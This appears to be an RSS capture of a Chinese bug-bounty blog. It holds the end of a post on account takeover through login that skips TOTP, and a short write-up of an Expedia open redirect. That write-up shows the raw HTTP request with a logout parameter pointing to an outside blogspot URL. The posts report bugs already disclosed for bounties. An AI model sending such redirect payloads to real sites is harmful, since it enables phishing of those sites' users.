8px;overflow: unset;padding: 0px; text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">Day 2</span></span></h3><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">登录：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">email + password</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">无需：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">TOTP</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实现：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ATO（账户接管）</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=e22740c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRxXEibw80WojvYvxVGOJuDeibOPfJmfGQZjhZeysCKctYmKfKGVYuIR1mHTMR8ia0rjXAVr5drexfufHsTts3pYHkR26hxUzHaqFI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://hackerone.com/reports/2492631" target="_blank">https://hackerone.com/reports/2492631</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2e853351&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499582%26idx%3D1%26sn%3D0ed4bda79730aaaa1155f89157f3428b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 19 Jun 2026 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>离谱的重定向</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499576&amp;idx=1&amp;sn=8823029184e74644e518fc4085925564</link>
      <description>正文正常请求:GET /?</description>
      <content:encoded><![CDATA[<p><span>h1</span> <span>2026-06-18 11:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=745a946b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7xtecWUgCRxWFiboIibYnicyDSaaFfg890T59aujyLNQibfaMBic9ibv2GDJ08DcNDbX9laGR2mqG3LJ1JrP1M80Km8p2QrbeQFFgZ9GHOmibB2yjM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=512d76d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRwb8ScFaNccL61So1J5T5icLgpooxRQewJx0nkmSBkbFKBKYnqzrlr3ToazuGOZbqgLxibjVK3fJbVWyxJDEk6MvStg7YJ83s5mE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">正常请求:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">GET /?</span><span style="box-sizing: border-box;color: rgb(230, 192, 123);cursor: pointer;line-height: 26px;"><span leaf="">logout</span></span><span leaf="">=1 HTTP/2</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Host: www.expedia.com</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Cookie: { REDACTED }</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept-Encoding: gzip, deflate</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Upgrade-Insecure-Requests: 1</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Dest: document</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Mode: navigate</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Site: none</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-User: ?1</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Te: trailers</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">payload:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">GET /?</span><span style="box-sizing: border-box;color: rgb(230, 192, 123);cursor: pointer;line-height: 26px;"><span leaf="">logout</span></span><span leaf="">=<a href="https://qx4lw1nsec.blogspot.com" target="_blank">https://qx4lw1nsec.blogspot.com</a> HTTP/2</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Host: www.expedia.com</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Cookie: { REDACTED }</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept-Encoding: gzip, deflate</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Upgrade-Insecure-Requests: 1</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Dest: document</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Mode: navigate</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Site: none</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-User: ?1</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Te: trailers</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">感觉挺离谱的,这个漏洞给了1000美刀，放在国内估计顶多给个50元</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" 